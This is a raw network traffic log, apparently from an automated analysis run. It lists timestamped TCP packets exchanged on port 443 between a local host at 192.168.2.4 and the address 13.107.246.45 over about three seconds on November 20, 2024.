Nov 20, 2024 07:49:27.741103888 CET	49966	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:27.741118908 CET	443	49966	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:27.741539955 CET	49966	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:27.741545916 CET	443	49966	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:27.770689011 CET	443	49967	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:27.771159887 CET	49967	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:27.771174908 CET	443	49967	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:27.771537066 CET	49967	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:27.771542072 CET	443	49967	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:27.785157919 CET	443	49968	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:27.785727978 CET	49968	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:27.785748959 CET	443	49968	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:27.786195040 CET	49968	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:27.786201954 CET	443	49968	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:27.813514948 CET	443	49965	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:27.813618898 CET	443	49965	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:27.813690901 CET	49965	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:27.813939095 CET	49965	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:27.813957930 CET	443	49965	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:27.813970089 CET	49965	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:27.813975096 CET	443	49965	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:27.817325115 CET	49970	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:27.817361116 CET	443	49970	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:27.817439079 CET	49970	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:27.817569971 CET	49970	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:27.817581892 CET	443	49970	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:27.840445995 CET	443	49969	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:27.840971947 CET	49969	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:27.841003895 CET	443	49969	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:27.841461897 CET	49969	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:27.841468096 CET	443	49969	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:27.852500916 CET	443	49966	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:27.852807045 CET	443	49966	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:27.852854967 CET	443	49966	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:27.852870941 CET	49966	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:27.852914095 CET	49966	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:27.852967978 CET	49966	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:27.852982044 CET	443	49966	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:27.852992058 CET	49966	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:27.852997065 CET	443	49966	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:27.855895996 CET	49971	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:27.855925083 CET	443	49971	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:27.855983973 CET	49971	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:27.856117964 CET	49971	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:27.856127024 CET	443	49971	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:27.874188900 CET	443	49967	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:27.874253035 CET	443	49967	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:27.874316931 CET	49967	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:27.874504089 CET	49967	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:27.874519110 CET	443	49967	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:27.874530077 CET	49967	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:27.874535084 CET	443	49967	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:27.877630949 CET	49972	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:27.877652884 CET	443	49972	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:27.877706051 CET	49972	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:27.877933025 CET	49972	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:27.877943039 CET	443	49972	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:27.885852098 CET	443	49968	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:27.885905027 CET	443	49968	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:27.885957956 CET	49968	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:27.886109114 CET	49968	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:27.886122942 CET	443	49968	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:27.886132956 CET	49968	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:27.886140108 CET	443	49968	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:27.888576984 CET	49973	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:27.888600111 CET	443	49973	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:27.888672113 CET	49973	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:27.888813972 CET	49973	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:27.888822079 CET	443	49973	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:27.945960045 CET	443	49969	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:27.946094990 CET	443	49969	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:27.946146965 CET	443	49969	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:27.946182013 CET	49969	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:27.946316957 CET	49969	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:27.946657896 CET	49969	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:27.946675062 CET	443	49969	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:27.946687937 CET	49969	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:27.946693897 CET	443	49969	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:27.949908972 CET	49974	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:27.949939966 CET	443	49974	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:27.950020075 CET	49974	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:27.950191975 CET	49974	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:27.950201988 CET	443	49974	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:28.456634045 CET	443	49970	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:28.457283974 CET	49970	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:28.457310915 CET	443	49970	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:28.457700014 CET	49970	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:28.457706928 CET	443	49970	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:28.493901968 CET	443	49971	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:28.494535923 CET	49971	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:28.494566917 CET	443	49971	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:28.495017052 CET	49971	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:28.495023966 CET	443	49971	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:28.527566910 CET	443	49973	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:28.528059959 CET	49973	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:28.528105021 CET	443	49973	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:28.528537989 CET	49973	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:28.528551102 CET	443	49973	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:28.542638063 CET	443	49972	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:28.543153048 CET	49972	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:28.543179989 CET	443	49972	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:28.543574095 CET	49972	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:28.543580055 CET	443	49972	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:28.557940006 CET	443	49970	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:28.558252096 CET	443	49970	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:28.558326006 CET	49970	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:28.558382988 CET	49970	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:28.558382988 CET	49970	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:28.558424950 CET	443	49970	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:28.558450937 CET	443	49970	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:28.561242104 CET	49975	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:28.561269999 CET	443	49975	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:28.561342955 CET	49975	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:28.561470985 CET	49975	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:28.561477900 CET	443	49975	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:28.588722944 CET	443	49974	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:28.589164972 CET	49974	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:28.589184999 CET	443	49974	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:28.589633942 CET	49974	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:28.589638948 CET	443	49974	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:28.593350887 CET	443	49971	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:28.593430042 CET	443	49971	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:28.593482971 CET	49971	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:28.593508959 CET	443	49971	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:28.593547106 CET	443	49971	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:28.593606949 CET	49971	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:28.593718052 CET	49971	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:28.593732119 CET	443	49971	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:28.593744040 CET	49971	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:28.593750000 CET	443	49971	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:28.597326040 CET	49976	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:28.597402096 CET	443	49976	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:28.597476006 CET	49976	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:28.597649097 CET	49976	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:28.597681046 CET	443	49976	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:28.625808954 CET	443	49973	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:28.625996113 CET	443	49973	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:28.626064062 CET	49973	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:28.626106024 CET	49973	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:28.626116991 CET	443	49973	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:28.626128912 CET	49973	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:28.626135111 CET	443	49973	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:28.628681898 CET	49977	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:28.628725052 CET	443	49977	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:28.628798962 CET	49977	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:28.628907919 CET	49977	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:28.628920078 CET	443	49977	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:28.654162884 CET	443	49972	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:28.654705048 CET	443	49972	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:28.654772997 CET	49972	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:28.654824972 CET	49972	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:28.654824972 CET	49972	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:28.654844046 CET	443	49972	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:28.654854059 CET	443	49972	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:28.657573938 CET	49978	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:28.657612085 CET	443	49978	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:28.657757044 CET	49978	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:28.657902956 CET	49978	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:28.657927990 CET	443	49978	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:28.690593958 CET	443	49974	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:28.691967964 CET	443	49974	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:28.692065001 CET	49974	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:28.692111969 CET	49974	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:28.692111969 CET	49974	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:28.692128897 CET	443	49974	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:28.692137003 CET	443	49974	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:28.695583105 CET	49979	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:28.695632935 CET	443	49979	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:28.695729017 CET	49979	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:28.695864916 CET	49979	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:28.695879936 CET	443	49979	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:29.201328039 CET	443	49975	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:29.202122927 CET	49975	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:29.202146053 CET	443	49975	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:29.202646017 CET	49975	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:29.202651978 CET	443	49975	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:29.236732006 CET	443	49976	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:29.237482071 CET	49976	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:29.237509966 CET	443	49976	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:29.237958908 CET	49976	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:29.237965107 CET	443	49976	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:29.264312983 CET	443	49977	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:29.264853001 CET	49977	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:29.264878035 CET	443	49977	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:29.265352964 CET	49977	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:29.265358925 CET	443	49977	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:29.305807114 CET	443	49975	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:29.305900097 CET	443	49975	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:29.305952072 CET	49975	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:29.305968046 CET	443	49975	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:29.306026936 CET	443	49975	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:29.306076050 CET	49975	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:29.306137085 CET	49975	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:29.306150913 CET	443	49975	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:29.306168079 CET	49975	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:29.306174040 CET	443	49975	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:29.309608936 CET	49980	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:29.309663057 CET	443	49980	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:29.309721947 CET	49980	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:29.309868097 CET	49980	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:29.309883118 CET	443	49980	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:29.322591066 CET	443	49978	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:29.323098898 CET	49978	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:29.323116064 CET	443	49978	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:29.323581934 CET	49978	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:29.323585987 CET	443	49978	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:29.331264019 CET	443	49979	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:29.332499981 CET	49979	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:29.332521915 CET	443	49979	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:29.332921982 CET	49979	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:29.332927942 CET	443	49979	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:29.335959911 CET	443	49976	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:29.336042881 CET	443	49976	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:29.336088896 CET	49976	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:29.336227894 CET	49976	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:29.336244106 CET	443	49976	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:29.336255074 CET	49976	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:29.336260080 CET	443	49976	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:29.339493036 CET	49981	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:29.339534044 CET	443	49981	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:29.339617968 CET	49981	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:29.339778900 CET	49981	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:29.339791059 CET	443	49981	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:29.364840984 CET	443	49977	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:29.365037918 CET	443	49977	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:29.365086079 CET	443	49977	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:29.365135908 CET	49977	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:29.365813971 CET	49977	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:29.390029907 CET	49977	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:29.390058994 CET	443	49977	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:29.390074968 CET	49977	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:29.390081882 CET	443	49977	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:29.413005114 CET	49982	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:29.413053989 CET	443	49982	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:29.413156033 CET	49982	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:29.413326979 CET	49982	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:29.413336992 CET	443	49982	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:29.426379919 CET	443	49978	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:29.426553011 CET	443	49978	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:29.426631927 CET	49978	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:29.426743984 CET	49978	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:29.426743984 CET	49978	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:29.426789045 CET	443	49978	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:29.426817894 CET	443	49978	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:29.429297924 CET	49983	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:29.429343939 CET	443	49983	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:29.429409027 CET	49983	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:29.429533958 CET	49983	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:29.429546118 CET	443	49983	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:29.430433035 CET	443	49979	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:29.430649996 CET	443	49979	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:29.430695057 CET	49979	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:29.430706024 CET	443	49979	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:29.430746078 CET	49979	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:29.430790901 CET	49979	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:29.430802107 CET	443	49979	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:29.430819988 CET	49979	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:29.430824995 CET	443	49979	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:29.433044910 CET	49984	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:29.433057070 CET	443	49984	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:29.433140993 CET	49984	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:29.433245897 CET	49984	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:29.433258057 CET	443	49984	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:29.957550049 CET	443	49980	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:29.960658073 CET	49980	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:29.960673094 CET	443	49980	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:29.961157084 CET	49980	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:29.961160898 CET	443	49980	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:29.974052906 CET	443	49981	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:29.976509094 CET	49981	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:29.976535082 CET	443	49981	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:29.976929903 CET	49981	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:29.976937056 CET	443	49981	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:30.069626093 CET	443	49982	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:30.070173979 CET	49982	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:30.070203066 CET	443	49982	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:30.070656061 CET	49982	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:30.070662022 CET	443	49982	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:30.074414015 CET	443	49983	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:30.074770927 CET	49983	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:30.074831963 CET	443	49983	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:30.075150013 CET	49983	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:30.075164080 CET	443	49983	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:30.085484028 CET	443	49980	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:30.085561991 CET	443	49980	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:30.085621119 CET	49980	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:30.085793018 CET	49980	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:30.085808992 CET	443	49980	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:30.085820913 CET	49980	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:30.085827112 CET	443	49980	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:30.088885069 CET	49985	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:30.088907003 CET	443	49985	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:30.088968992 CET	49985	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:30.089093924 CET	49985	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:30.089107990 CET	443	49985	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:30.094373941 CET	443	49984	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:30.094717026 CET	49984	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:30.094753981 CET	443	49984	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:30.095129013 CET	49984	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:30.095141888 CET	443	49984	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:30.097541094 CET	443	49981	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:30.097626925 CET	443	49981	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:30.097780943 CET	49981	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:30.097861052 CET	49981	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:30.097891092 CET	443	49981	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:30.097923040 CET	49981	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:30.097937107 CET	443	49981	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:30.100205898 CET	49986	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:30.100251913 CET	443	49986	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:30.100322962 CET	49986	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:30.100501060 CET	49986	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:30.100528955 CET	443	49986	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:30.167996883 CET	443	49982	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:30.168345928 CET	443	49982	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:30.171139002 CET	49982	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:30.171204090 CET	49982	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:30.171221972 CET	443	49982	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:30.171236038 CET	49982	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:30.171241045 CET	443	49982	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:30.173053980 CET	443	49983	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:30.173197985 CET	443	49983	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:30.173237085 CET	443	49983	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:30.173289061 CET	49983	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:30.173316956 CET	49983	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:30.173331976 CET	443	49983	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:30.173346996 CET	49983	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:30.173352957 CET	443	49983	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:30.174400091 CET	49987	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:30.174427032 CET	443	49987	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:30.174545050 CET	49987	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:30.174694061 CET	49987	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:30.174705982 CET	443	49987	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:30.175765991 CET	49988	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:30.175791979 CET	443	49988	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:30.175862074 CET	49988	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:30.175972939 CET	49988	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:30.175982952 CET	443	49988	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:30.197293043 CET	443	49984	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:30.197645903 CET	443	49984	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:30.197698116 CET	49984	443	192.168.2.4	13.107.246.45
